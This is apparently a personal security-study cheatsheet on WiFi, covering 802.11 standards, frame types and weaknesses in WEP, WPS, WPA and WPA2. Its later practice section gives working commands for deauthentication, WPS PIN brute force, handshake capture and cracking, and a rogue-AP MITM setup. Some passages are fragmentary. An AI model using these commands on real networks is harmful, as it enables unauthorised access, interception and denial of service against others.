

WiFi

Wifi baseband vulnerabilities (almost in hardware) is not the matter of this article.

Content

- [Content](#)
- [Technical characteristics](#)
 - [802.11 PHY Standards](#)
 - [Wifi antenna types](#)
 - [WiFi technic abbreviations \(glossary\)](#)
- [Wifi hardware](#)
 - [Hardware modes](#)
 - [Recommended wifi hardware](#)
- [Wifi management frames](#)



- [WPS security issues](#)
- [WPA security issues](#)
- [WPA 2 security issues](#)
- [Practice \(Offensive\) \(wardriving\)](#)
 - [basics \(iw, aircrack, ...\)](#)
 - [complex tools](#)
- [Practice \(Defensive\) \(frameworks/solutions\)](#)

Technical characteristics

802.11 data link layer consists of 2 layers:

- Logical Link Control
- Mac Access Control

802.11 PHY Standards



802.11b	2.4	22	DSSS	N/A	1, 2, 5.5, 11 M
802.11a	5, 3.7	20	OFDM	N/A	6, 9, 12, 18, 24, 36, 48
802.11g	2.4	20	DSSS, OFDM	N/A	OFDM - 6, 9, 12, 18, 24, 36 DSSS - 1, 2, 5.5, 11
802.11n	2.4, 5	20, 40	OFDM	MIMO (4x4), SISO (1x1)	7.2 - 72.2, 15-150, 60
802.11ad	60	2160	SC, OFDM	Beamforming (MIMO > 10x10)	7 Gb/s
802.11ac	5	20, 40, 80, 160	OFDM	MIMO (8x8) / MU-MIMO	7.2-96.3, 15-200, 32.5-433.

There is a lot of standards (bigger then alphabet size). **802.11n** is mostly used now.

Carrier frequency can be very different: 2.4; 5; 0.9 (802.11ah); 3.7; 3.6, 4.9 (802.11y); 5.9 (802.11p); 60 GHz.

Evolution of WiFi technology:

Wifi channels: (Every country has its own set of available channels, that are controlled through 802.11d)

Belize (BZ) today has smallest limitations.

Almost everywhere for 2.4 WiFi are available:

- channels 1-11

Wifi antenna types

Wireless antenna types:

WiFi technic abbreviations (glossary)

UHF

Ultra High Frequency (300 MHz - 3 GHz) (2.4 GHz wifi)

SHF

Super High Frequency (3 GHz - 30 GHz) (5.0 GHz wifi)

DSSS - Direct Sequence Spread Spectrum

Transmission band breaks into several sub-bands (11 for 802.11 standard). 1 bit encoded (not really specified) into several bits and passed sequentially through all sub-bands. Transmitter and receiver can use low signal power and it will not interrupt narrowband signals of other devices, meaning they can work independently

FHSS - Frequency-Hopping Spread Spectrum

Carrier frequency is regularly changed depending on pseudo-random number sequence, known to sender and receiver. Interference at a specific frequency will only affect the signal during that short interval

OFDM - Orthogonal Frequency-Division Multiplexing

A large number of closely spaced orthogonal sub-carrier signals are used to carry data on several parallel data streams or channels

There are several tricks:

- multiple input (receiver)
 - can be used to catch the same signal, but in different positions thereby reflected differently
 - can be used to exchange information with sender independently using different antennas
- multiple output (sender)
 - can be used to send correlated information signals through all antennas, and receiver can restore initial signal using some computations, less destructed by noise
 - can be used to exchange information with receiver independently using different antennas

MU-MIMO - MultiUser MIMO

Situation, when sender can distribute its antennas between different receivers independently (some devices is able to get more than one sender antenna)

WNIC

Wireless Network Interface Controller

Wifi hardware

Hardware modes

- BSSID - AP name (network is named after mac-address of AP)

- SSID - human readable name

- **MON (monitor) / RFMON (radio frequency monitor)**

monitor passive-only mode (no frames are transmitted)

mac80211 framework and appropriate hardware allows to use monitor mode and injection mode simultaneously

- **AdHoc (or IBSS)**

Independent Basic Service Set - allows to create wireless network without the need of having AP. Each station in an IBSS network is managing the network itself. Usefull to connect two devices.

- **WDS (non standard)**

Wireless Distribution System mode - allow transparent Ethernet bridging on the stations to implement seamingless hand-over for wireless clients roaming between different access points.

- **WMN (Wireless Mesh Network)**

mesh interfaces are used to allow multiple devices communicate with each other by establishing intelligent routes between each other dynamically.

Recommended wifi hardware

- [What is the best wireless card to buy \(by aircrack-ng.org\)](#)

- Alfa AWUS036H RTL8187L (2.4 GHz)
- Alfa AWUS036NHA (2.4G GHz) long range
- Alfa AWUS051NH v2 (2.4 & 5 GHz) long range
- Ralink 3070 based cards (MediaTek now)
- any *MAC80211*
- for 802.11ac ([How to get your new 5 GHz ...](#))
 - `apt install realtek-rtl88xxau-dkms`
 - Alfa AWUS036ACH - RTL8812AU (802.11a/b/g/n/ac)
brother (~same chipset): [Alfa AWUS036AC](#) - RTL8812U (802.11a/b/g/n/ac)
 - Alfa AWUS1900 - RTL8814U (802.11a/b/g/n/ac)

Some antennas: Alfa ARS-N19, Alfa APA-M25 (2.4GHz 8dBi, 5GHz 5dBi)

В РФ рекомендуется покупать радио в [дальрадио](#)

В РФ роскомнадзор запрещает использование передатчиков мощностью более 100 мВт (более мощные передатчики необходимо регистрировать в соответствии с ФЗ о связи ст. XXX п. Y)

Wifi management frames

This technology is not widespread because most of the hardware are not supporting it.

Some devices has too small memory limit to work with MFP packets, because MFP frames became much bigger. (???)

Data frames can be send with some other control frames data simultaneously.

Frames can be ignored only if they have wrong format, wrong MIC or MFT is enabled.

Authentication:

- Authentication frame
 - User sends authentication frame to AP
 - AP answers user with OK/FAIL or challenge text (in case shared key authentication). If challenge text was sent, user must send answer in second authentication frame and AP answers OK/FAIL
- Deauthentication frame

Association:

- Association request
request for fetching resources, user sends SSID of wished AP and supported transport
- Association response
AP sends to user AID (Association Identifier) and supported data transfer rate
- Reassociation request

- Disassociation frame

Beacon frame:

- Beacon frame - *the most popular frame*

AP send this frame to declare its presence and tell such information as: SSID, frequency channel, temporary markers for time synchronization devices, supported transfer rates, QoS, etc.

User send this frame only if AdHoc (IBSS) is used.

Probe frames:

- Probe request
request from user to others to get information who is in the area.
Probe request can be with SSID or blank
- Probe response
answer on probe request with information similar to beacon frame

Other frames:

- ATIM (Announcement traffic indication message)
- Action
- Action No Ack
- Timing advertisement

Control frames:



- CTS (Clear to Send)
AP answer on RTS frame
- ACK (Acknolement) frame
All data frames got from sender must be acknoledged by receiver, or sender will resend data every timeout.
- PS-Poll (Power Save Poll)
- CF-End (Contention Free-End)
- CF-End + CF-ACK
- Block ACK Request (BlockAckReq)
- Block ACK (BlockAck)
- Control wrapper

Wifi authentications types (WEP, WPS, WPA/WPA2)

WEP - Wired Equivalent Privacy (deprecated since 2004)

checksum - CRC32
data encryption - RC4

Pre-Shared WEP key:

WEP-40 = 40 bit key + 24 bit IV
WEP-104 = 104 bit key + 24 bit IV

- **Open System authentication**

1. client authentication (in effect, no authentication occurs)
 2. client association (will succeed only if shared key is correct)
- now client can send messages incrypted with RC4 WEP key, but if the key is wrong, packets will just drop. However, everyone can connect to AP

- **Shared Key authentication**

1. client → router: hello
2. client ← router: plain-text
3. client → router: encrypted(pre-shared wep key, plain-text)
4. client ← router: OK/FAIL

- **EAP - Extensible Authentication Protocol** - shortly and roughly: it is authentication with RADIUS server

Access point always sends authentication messages to radius server, and send its responses to clients.

If authentication with server was successfull, server send to AP session key, router encrypts its key (WEP key) with session key and sends to the client, client decrypt the key with its session key (got from radius server) use it further to communicate with AP.

EAP is an *authentication framework* specifying messages format, exist a lot of variations.

- **MAC-address authentication**

Access to user is granted based on his mac-address whitelist.

MAC-addresses can be easily changed, therefore this method is not reliable. This method is good in compound with smth else.

WPS - WiFi Protected Setup

WPS is based on 8 digits PIN (and/ or router button). Last digit is checksum of first 7 digits.

Authentication process

WPS was created to connect printers and other embedded devices, and to be used by noob users.

WPA - WiFi Protected Access

Authentication modes:

- **WPA Enterprise (MGT)** = 802.1X + EAP + (TKIP/CCMP) + MIC
802.1X - authenticated key management (used for EAP encapsulation)
 - **EAP - Extensible Authentication protocol** - shortly and roughly: it is authentication with RADIUS server
 - **TKIP - Temporal Key Integrity Protocol** - (WPA) (deprecated since 2012). Encryption standard (algorithm, keys, IV), has rekeying mechanism.
CCMP - Counter Mode CBC-MAC Protocol - (WPA2). Encryption standard (algorithm, keys, IV)
 - **MIC - Message Integrity Code**
- **WPA Personal = WPA-PSK (WPA Pre-Shared Key)**
Based on 4-way handshake ([detailed explanation](#)):

```
client --> router: SNonce + MIC
      AP constructs PTK and checks MIC
client <-- router: GTK + sequence number + MIC
client --> router: ACK
```

The PTK key divides into 5 separate keys (for MICs and encryption).

The GTK key divides into 3 separate keys for broadcast data packets.

WPA:

RC4 encryption

128 bit per-packet key = *mixing* (128 bit key (MAC-addr XOR 128 bit temporal key), 48 bit IV)

64 bit MIC (MICHAEL) (uses 64 bit temporal key) - hashes (MAC dst, MAC src, user data, stop byte and padding)

IV - sequence counter (after association sets to 0)

temporal keys (for MIC and RC4) <-- key encryption keys (key to encrypt keying material and key to protect key message)

<-- master key (given by authentication server (or set by user (e.g. home wifi AP)))

WPA supports QoS (Quality of service) in a manner of having several channels to send frames and there is *separate counter* for every channel.

Usually, everyone use first channel, therefore on all other channels counters are smaller.

TKIP specifics:

- Rekeying must be done every 10,000 packets (usually)
- TKIP has separate keys for authentication, encryption, and integrity
- ***Deprecated since 2009***

Checksum specifics:

- If packet has error in ICV - it will be discarded
- If packet has correct ICV, but error in MIC - MIC failor error frame will be send.
- After a valid packet, packet counter will be increased.

MICHAEL specifics:

- MICHAEL MIC is not designed to be resistant to key recovery if plaintext and MIC is known.
- MICHAEL is non-linear

WPA 2 (IEEE 802.11i standard):

AES-128 (128 bit key, 128 bit blocks) in CTR-mode
CBC-MAC
48 bit packet counter

MPDU (Medium Access Control Protocol Data Unit) = CCMP packet =

FCS (Frame Check Sequence) - error detection and correction

Security issues

Wifi attacks can be done to achieve next goals:

- reveal AP shared-key
- listen traffic, decrypt it
- DoS AP users (e.g. by deauthenticating them)
- making MITM (fake AP)
- insert traffic

There is a traditional problem of weak passwords, that can be guessed or brute-forced:

- weak passwords
- certificate usage misconfigure in enterprise authentication mode
- administrators can reuse passwords in many places (e.g. radius server and active directory)

Some attacks require capturing and injecting packets almost at once. To maximize attack success it is recommended to use two wifi cards - one in listening mode and one in injecting mode.

- **MAC Address spoofing**

If access is granted to the user by mac-address whitelist, the attacker can just change his MAC (after sniffing) to one of those and enter the network.

- **Disassociation and Deauthentication Attacks**

If there is no Management Frame Protection (MFP), everybody can send disassociation or deauthentication frame to drop some user's connection. (Wifi encryption protocols is not involved into this 802.11 frames)

- **Fake AP**

Shared-key authentication checks if the user has the same key as AP, but if AP is fictive, hacker can always say to user, that the key is correct, and user will connect to malicious AP.

Moreover, user will give the value `enc(key, challenge text)`, where challenge text is set by attacker, though user can be used to encrypt specially crafted challenge-texts and finally the key can be recovered.

WEP security issues

"Shared key authentication" is less secure then "open system authentication", because it is possible to get pair `<plaint-text, cipher-text>` from authentication frames, that can be used to break pre-shared WEP key.

Main cryptographycal weaknesses:

- RC4 is a stream cipher, meaning that flipping bit in ciphertext will change corresponding bit in cleartext
- WEP concatenation of key and IV simplify attacks on RC4

WEP attacks based on RC4 and protocol weaknesses

Attacks:

- attack based on IV collisions

$$\text{RC4}(k, X) \text{ xor } \text{RC4}(k, Y) == X \text{ xor } Y$$

Two different packets with same IV can be xored, giving the difference between plaintexts. This can be used to guess information (because some parts of the packets are always predictable).

This also allows to inject new packet, if attacker now X, RC4(k, X) and wants to send Y. But CRC must be guessed correctly (as it is linear - it can be easily changed in a few guesses).

IV length = 24 bit → every $2^{24} = 16,000,000$ IV repeats from beginning. But most of AP starts IV from 0 every time they resets.

- **decryption dictionary**

Dictionary is build for specified connection with shared key. It is build and used in motion.

Table for each IV containing all keystreams (length = packet size) will have size of $1500 * 2^{24}$ bytes = 24 Gb. Keystreams must be collected by xoring ciphertext with plaintext, where plaintext is known (guessable), examples:

- challenge text and response

Attacker can not only lister for them, but DoS AP or user, or make his own fake AP to force user to make responses for challenge text (**coolface attack**)

- sending to the client some data (through wire net), and sniff for their ciphertext in the air

- keystream can be bruted:

If attacker know n bits of keystream, he can send packet with the size of n+1, sending packet (e.g. ping) untill AP will admit packet as valid (CRC-32), and attacker will get answer.

dictionary can be constructed in a few days,

- **authentication spoofing**

If attacker can capture challenge text and challenge response $RC4(v, k, \text{challenge text})$, then he can authenticate by himself, just answering on his challenge text 2 with $\text{challenge text2 XOR challenge text XOR } RC4(v, k, \text{challenge text})$

- **message decryption**

- **Double-encryption**

Attacker can send ciphertext to AP, AP will encrypt (in fact decrypt) it to plaintext and send to attacker.

Assumptions and attack stages:

- Attacker gets ciphertext
- Authenticate in network (through authentication spoofing)
- Send to someone connected to AP from some other source (e.g. from internet) ciphertext
 - The question of how to send ciphertext remains beyond
 - IV vectors for ciphertext encryption and decryption must be equal
- Attacker must sniff network for plaintext

- **IP-redirection**

- Attacker gets ciphertext
- Authenticate in network (through authentication spoofing)
- Attacker modifies IP-addresses in ciphertext (it is possible, because RC4 is *stream* cipher)
- Attacker patches the checksum (it is possible)

Attacker do not reveal the secret key. The attacker based on CRC32 checksum...

Client must be not authenticated and for valid packets AP will answer with errors on messages. If packet is invalid, AP will just ignore it.

Attacker can capture packet of interest and by guessing plaintext byte by byte and some math he can bruteforce byte's real value.

Cryptographical WEP attacks

Attacks principle:

Most of the attacks is based on cracking RC4 cipher with only recording encrypted packets on the network:

- Each packet has plaintext IV in itself, though attacker also know first 3 bytes of the per packet key.
- Following bytes of the per packet key are the same for all packets (however initially - unknown).
- First bytes of the plaintext are easily predictable, though attacker can recover first bytes of the keystreams used to encrypt packets.

Attacks:

- **FMS attack** (Fluhrer, Mantin and Shamir) (2001)

Attack has a decision tree based structure.

The attack needs 4,000,000 to 6,000,000 packets to succeed with a success probability of at least 50%.

Tools: (WEPcrack, AirSnort, bsd-airtools + dwepcrack, etc.)

- **KoreK attack** (2004)

KoreK used 16 additional correlations between the first `1` bytes of an RC4 key, the first two bytes of the generated keystream, and the next keybyte `K[1]`.

The attack needs 70,000 packets to succeed with a success probability of at least 50%.

- **PTW attack** (Tews, Weinmann and Pyshkin) (2007)

The attack needs about 35,000 - 40,000 packets (can be caught in several minutes under good conditions) for 50% success probability (60,000 packets - 80%, 85,000 packets - 95%)

Computations is not remarkable (the matter of seconds)

- **VX attack** (Vaudenay and Vuagnoux).

Extension of PTW attack, based on KoreK correlations

The attack needs about 32,700 packets for 50% success probability.

- Extension of PTW attack

This attack is proposed in paper [Tews, Erik, and Martin Beck. "Practical attacks against WEP and WPA." *Proceedings of the second ACM conference on Wireless network security. ACM, 2009.*]

The attack needs about 24,200 packets for 50% success probability.

WEP protocol attacks

- **Fragmentation attack** - recovering keystream for specified IV

The idea is as this:

- guessing the header of some packet and XOR it with cipher text => we get 8 bytes of keystream (for a specific IV)
- WEP allows to split packet into 16 fragments => $16 \text{ fragments} * (8 \text{ bytes of our generated ciphertext} - 4 \text{ bytes of CRC-32}) = 64 \text{ bytes of information sent into the network}$
- AP gets 64 bytes, decrypts them and then sends it back to the network (hacker put appropriate headers in his 64 bytes) => AP encrypt 64 bytes with 64 byte keystream

WPS security issues

WPS PIN recovery:

- **WPS PIN bruteforce online:**

- we can brute first 4 numbers from pin (if we do not get NACK after M4) then we can continue to brute next 4 numbers
- pin has 7 meaningful numbers, because last number is checksum of first 7

(for pin bruteforce can be used utilities: - wifite, reaver-wps, bully, BulyWPSRussian.sh, ReVdK3-r2.sh, etc.)

The main **defence** from PIN brute force **is banning**. Different routers has different implementations:

- WPS activation for 1 minute
- PIN from the end 9999**
- bruteforce timeout
- bruteforce ban by MAC-address

If router banned WPS authentication ("wps locked") then you have to DoS it until reboot. (e.g ReVdK3-r2.sh tool can do it)

Utilities: wifity, reaver, bully, BullyWPSRussian.sh, etc. Reboot scripts: mdk3, ReVdK3, etc.

- **WPS PIN generation:**

Control reaver, wifite, generate pin, etc.

Some [custom PIN generators](#)

- **pixie dust attack** (offline bruteforce) (???)

WPS in its core for key exchange uses random values, which must be random (values are transmitted in cleartext).

This attack is based on bruteforcing smaller amount of combinations because of this random values (some vendors sets this values to 0)

[List of vulnerable AP](#). Detailed explanation of an attack can be found [here](#) and [here \(Offline bruteforce attack on WiFi Protected Setup. Dominique Bongard\)](#).

Utilities: pixiewps, wifite-mod-pixiewps, reaver-wps-fork-t6x, etc.

WPA security issues

WPA uses TKIP based on RC4, but because of better mixing function of key and IV, previous attacks on RC4 (from WEP context) does not work.

WPA Attacks

Cryptographical attacks

- **MICHAEL MIC attack**



- **Chop-Chop attack**

Similar to Chop-Chop attack on WEP, we can brute correct packet continuation byte-by-byte analysing if error is in ICV or MIC.

Difference: if packet with wrong MIC will come to AP two times in a minute, then it will rekey connection, though after each guess attacker has to wait for one minute.

For recovering 12 bytes of plaintext (MIC and ICV) it will be needed about 12 minutes

- **Beck and Tews attack** (2008)

Attack allows to decrypt ARP packets and inject traffic.

Assumptions:

- TKIP rekeying interval must be big enough, e.g. > 3600 seconds
- IP range is predictable
- The network supports the IEEE 802.11e Quality of Service features which allow 8 different channels

The idea is as this:

1. deauth user
2. catch frame with ARP-packet (detectable because of its length)
3. use Chop-Chop attack to recover ICV (integrity check value) and Michael MIC
4. guess IP-addresses of the ARP-packet
5. reverse Michael MIC and get MIC key

Now attacker knows keystream for current IV and MIC key => he can inject packet on QoS channels with smaller IV.

hashcat) the password.

For attack it is enough to make only [two steps](#) of 4-way handshake (even with fake AP). - this makes the process of gathering handshake faster.

- **WPA handshake attack** (WPA Enterprise mode with passwd)

After user is authenticated and associated in AP, it will go through EAP auth protocol with RADIUS server.

Hacker can set up fake AP with RADIUS server and capture user's response on challenge request, afterward password can be bruted.

Utilities: MANA toolkit, etc.

WPA 2 security issues

- **WPA 2 handshake attack**

The same attack as WPA handshake attack, but because of stronger cryptography, will take much more time

- **KRACK attack**

Error in protocol results in a possibility to MITM traffic for a lot of devices (idea is based on dropping IV vector of cryptography algorithm, for some devices (e.g. Androids) even the whole key are dropped to zero values)

His [github account](#) has a lot of practically interesting repos. Among their number:

- [wifi-arsenal](#) repo with collection of all wifi utilities, he found.
- [kali-script](#) which is good steroids for kali-linux (because by default utilities in kali repos are usually not up-to-date enough)

Handy links:

- [Hijacker v1.3](#) - gui application for android - all-in-one WiFi cracking tools for Android
- [Wifislax v1.1 final \(2017\)](#) - specially crafted distributive for Wifi pentest
- Wifi maps:
 - [3wifi.stascorp.com/map](#) - the map of wifi access points, sometimes with passwords
 - [WiGLE \(wireless network mapping\)](#) - all the networks found by everyone - map of wifi APs
- [WiFiAnalyzer](#) - nice wifi scanner for Android
- [WiFi explorer pro](#) - nice wifi scanner for MacOS

Usefull facts:

- Apple can search for known APs with fake MAC-addr, but connection is always made with real MAC.
- iPhone sends requests for all APs known to him just after hearing any hidden AP beside.

iwconfig up/down

```
iwconfig, iw dev, iw phy wlan1
```

Tuning and preparations

- Changing country:

```
iw reg get
```

```
iw reg set BZ # BZ is better then B0
```

- Changing channel and power:

```
iwconfig wlan1 txpower 30
```

```
iwconfig wlan1 channel 13
```

```
iw phy wlan1 set txpower fixed 30mBm
```

- Chaning mac-address:

```
macchanger -r wlan0
```

- Disabling network manager for wlan interface:

```
cat >> /etc/NetworkManager/NetworkManager.conf
```

```
[keyfile]
```

```
unmanaged-devices=interface-name:wlan1mon;interface-name:wlan1
```

- Change card mode to Monitor mode:

1. Connecting wlan0 up

Play with traffic

- Monitor for APs (especially for WPS)

```
airodump-ng wlan1mon # This will also dump traffic
wash -i wlan0mon
wpsig # monitor for wps APs
```

- RouterScan (forum.antichat.ru - routerscan) - scans Wifi, searching for routers and extracts information about them

- **Dump/capture/monitor** packets:

```
airodump-ng wlan1mon
airodump-ng -c 9 --bssid id -w output.cap --showack wlan1mon
pyrit -i wlan1mon -o $(date +%Y-%m-%d_%H)_stripped_live.cap --strip-live --all-handshakes
```

- verify if handshake in `xxx.cap` file is correct: `cowpatty -r dump.cap -c`
- extract hashes in hashcat format: `/usr/lib/hashcat-utils/cap2hccapx.bin xxx.cap xxx.hccap`

- Monitors:

```
horst -i wlan1mon
kismet
```

aircrack-ng

- To crack WPA/WPA2 from a wordlist - `aircrack-ng -e <ssid> -w <wordlist> <.cap or .ivs file(s)>`
- To crack a given bssid - `aircrack-ng -b <bssid> -l <output file> <.cap or .ivs file(s)>`
- To crack a given bssid using FMS/Korek method - `aircrack-ng -K -b <bssid> <.cap or .ivs file(s)>`
- To crack a given ssid (WEP) and display the ASCII of the key - `aircrack-ng -e <ssid> -s <.cap or .ivs file(s)>`
- To crack a given ssid (WEP) and create a EWSA Project - `aircrack-ng -e <ssid> -E <EWSA file> <.cap or .ivs file(s)>`

attack WPS

Attack WPS with `reaver` :

- `wash -i wlan0mon -C`
`reaver -i wlan0mon -b <BSSID> -vv -S`
- `reaver -i -c <Channel> -b <BSSID> -p <PinCode> -vv -S`

Influence traffic

- Send **deauth** packets
`aireplay-ng -0 10 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 wlan1`
- find hidden ssid (whic is used by smbд now)

```
wifijammer  
aireplay-ng -1 ...
```

- MITM ([security-cheatsheets](#) [aircrack-ng](#))

```
airmon-ng start wlan0  
airbase-ng -e "<FakeBSSID>" wlan0mon  
brctl addbr <VariableName>  
brctl addif <VariableName> wlan0mon  
brctl addif <VariableName> at0  
ifconfig eth0 0.0.0.0 up  
ifconfig at0 0.0.0.0 up  
ifconfig <VariableName> up  
aireplay-ng -deauth 0 -a <BSSID Attack> wlan0mon  
dhclient3 <VariableName> &  
wireshark & select <VariableName> interface
```

complex tools

- [routerscan](#) - attack routers from the wired side (brute passwords, etc.)
- **mdk3** - very powerfull utility: can flood, DOS, massive deauth, ... (and others 802.11 exploitations)

Create fake APs

- [\(RU\) Обзор Mana Toolkit \(defcon.ru\)](#)
- [\(RU\) Rogue AP — фальшивые точки доступа \(хабр\)](#)

- [hostapd-wpe](#)
- [fluxion](#) - set up rogue AP, deauth all users, set up web-site requesting users for Wifi password, redirect all users to website, logs everything until some user will insert correct password for real AP

Cracking utilities

- [wifite](#) - cracks wifi by capturing handshakes after deauthenticating clients.
Its main disadvantage is in using single interface, after sending deauth frame, wifite changes card mode to listening mode to catch handshake and during this operation client could have already send handshake.
- [r112](#) - similar to wifite (???)
- [reaver \(2012\)](#) - broad spectrum cracking tool (can be used to crack WPS or WPA/WPA2) ([reaver-wps-fork-t6x](#) - fork for cracking WPS with Pixie Dust)
- **Fern Wifi Cracker**
- **besside-ng**

Handshake bruteforce:

- Hashcat (`aircrack-ng -J file.hccap file2.cap` - extract handshake for hashcat brute, `hashcat.exe -m 2500 ...`)

Frameworks

- **scapy** - powerfull interactive packet manipulation program, written in python.

```
>>> sniff(iface='wlan1mon', prn=lambda x: x.show(), lfilter=lambda p: p.haslayer(Dot11ProbeReq))
>>> sniff(iface='wlan1mon', prn=lambda x: (x.addr2, x.info), lfilter=lambda p: p.haslayer(Dot11ProbeReq))
```

- [WiFi Pineapple](#) – wireless auditing platform

Scanner-like utilities:

- [FruityWiFi](#)
- [Snoopy-ng](#)

monitoring utilities

- [waidps](#) - wireless auditing, intrusion detection & prevention system
- [nzyme](#) - collect frames and sends them to Graylog for WiFi IDS, monitoring, and incident response.
- **Cisco CleanAir**, WIPS (wireless intrusion prevention system)



aircrack-ng Wi-Fi monitor // analogue of tcpdump for wireless

aireplay # send packets

wpacli # extract handshakes, and remove not interesting packets

aircrack-ng # can crack or prepare file for hashcat

/usr/lib/hashcat-utils/cap2hccapx.bin wifi-Buhgalteria.pcap-02.cap wifi-Buhgalteria.pcap-02.new.hccap



- [Radiotap](#) is a de facto standard for 802.11 frame injection and reception.

Practice (Defensive) (frameworks/solutions)

- [Wireless intrusion prevention system \(WIPS\)](#)

Information Security

Information Security
[phonexicum @ yandex.ru](#)

 [phonexicum](#)
 [phonexicum](#)

I created this site in a burst of information security studying to organize my mind and create some kind of cheatsheet.



- [_tools_](#)
- [Android-security](#)
- [concepts](#)
- [concrete_protocols](#)
- [Cryptography](#)
- [GNSS\(GPS\)](#)
- [GSM](#)
- [osint-personal](#)
- [OSINT](#)
- [Personal-sec](#)
- [Reverse](#)
- [SQLi](#)
- [WiFi](#)
- [Windows](#)
- [XXE](#)